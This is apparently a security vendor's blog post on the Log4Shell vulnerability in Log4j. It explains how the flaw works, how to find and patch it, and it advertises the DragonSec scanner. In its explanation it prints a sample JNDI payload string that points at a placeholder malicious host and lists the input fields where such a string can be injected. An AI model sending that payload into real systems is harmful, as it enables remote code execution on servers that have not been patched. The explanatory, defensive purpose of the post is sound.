Log4j Vulnerability Explained. How to Detect and Protect Your Systems

What Is Log4j and Why Should You Care?

In December 2021, the cybersecurity world was shaken by one of the most dangerous vulnerabilities ever discovered in a widely-used open-source component: Log4j.

Used by millions of Java apps, Log4j is a standard logging library that suddenly became an open door for attackers worldwide.

Why should you care?

• It allows Remote Code Execution (RCE)
• It’s easy to exploit
• It’s present in thousands of systems

Whether you’re running servers, IoT devices, or cloud apps — Log4j is probably inside your stack.

Understanding the Log4Shell Vulnerability (CVE-2021-44228)

Log4Shell (CVE-2021-44228) is a critical zero-day flaw in Log4j v2 < 2.15.0 that abuses a feature called JNDI (Java Naming and Directory Interface).

How it works:

• 1. A vulnerable app logs this string: ${jndi:ldap://malicious.com/exploit}
• 2. Log4j tries to fetch the payload
• 3. It downloads malicious Java code
• 4. And then executes it — remotely.

With a CVSS score of 10.0, this vulnerability triggered mass panic. At peak, there were over 100 exploit attempts per minute.

Why Log4j Matters: The Global Impact

Log4Shell didn’t just impact a few apps. It hit the core of global infrastructure:

• AWS, Azure, Google Cloud
• Docker, Kubernetes
• Minecraft servers (!)
• Enterprise software everywhere

At DragonSec.io, we immediately saw a surge in demand for scanners and detection tools.

Companies weren’t just worried about their code — they were scared of dependencies inside dependencies. And rightly so.

If you want to better understand why proactive scanning is crucial to stay ahead of vulnerabilities like Log4Shell, check out our blogpost on vulnerability scanning as a strategic advantage.

How the Exploit Works (Simple Breakdown)

Even if you’re not a Java expert, here’s what happens behind the scenes:

User input → Logged by Log4j → Triggers JNDI lookup → Contacts attacker → Runs remote Java code

Entry points include:

• HTTP headers (User-Agent, X-Forwarded-For)
• Form fields
• URL params
• Error messages

Bottom line: if any user-controlled input gets logged, you’re at risk.

How to Detect If You’re Vulnerable

Manual detection steps:

• Search your codebase for log4j-core*.jar
• Inspect your pom.xml or build.gradle
• Scan Docker images and Lambda layers
• Use jdeps or jar tf to explore JAR internals

But let’s be honest… manual detection is hard.

Use DragonSec to Detect Log4j in Seconds

With DragonSec.io, you can:

• Automatically scan your infrastructure
• Detect transitive dependencies
• Integrate in CI/CD
• Get remediation steps instantly

Example CLI command:

$dragonsec scan —target ./myapp

In seconds, you’ll know what’s vulnerable — and how to fix it.

How to Fix and Patch Log4j

Official Fix: Update to Log4j 2.17.1+

Temporary Workarounds (not recommended long term):

• Add JVM option: -Dlog4j2.formatMsgNoLookups=true
• Remove the vulnerable class: JndiLookup.class

But don’t stop at patching — audit your entire stack, especially Docker containers, CI builds, and third-party tools.

Best Practices to Prevent Future Java Vulnerabilities

Log4j taught us all a tough lesson. Use it as motivation to harden your software.

Recommendations:

• Implement Software Bills of Materials (SBOMs)
• Automate dependency scanning
• Don’t log raw user input
• Monitor CVE feeds
• Scan your pipeline, not just the code
• Practice least privilege access

Common Mistakes We’ve Seen

Here are some real-world errors:

• Updating only log4j-api, not log4j-core
• Ignoring older prod containers
• Relying on WAFs alone
• Not scanning tools or CI/CD systems
• Assuming your cloud provider is handling everything

False confidence is the most dangerous vulnerability.

Real-World Exploits in Action

This wasn’t theoretical — real attacks happened:

• Ransomware gangs used Log4Shell to gain entry
• Nation-state actors weaponized it for espionage
• Minecraft servers were hacked through chat messages
• According to CISA, Log4j exploitation still continues today.

Final Checklist: Are You Safe?

• Updated to Log4j 2.17.1+?
• Removed JndiLookup.class from old JARs?
• Scanned Docker images and CI builds?
• Checked your third-party dependencies?
• Deployed a vulnerability scanner?
• Audited cloud services and vendor software?

If not… it’s time to act.

How DragonSec Helps You Stay Ahead

At DragonSec, we built our scanner to help teams:

• Detect Log4j and other critical CVEs
• Get fast, accurate reports
• Automate detection in CI/CD
• Stay informed with alerts and patch guides

If you’re serious about protecting your code and infrastructure, we’re here to help.

Try it today at dragonsec.io

Want to Go Deeper?

Check out our guide on vulnerability scanning as a strategic advantage, and stay tuned for our upcoming blogpost on prioritizing vulnerabilities in CI/CD environments.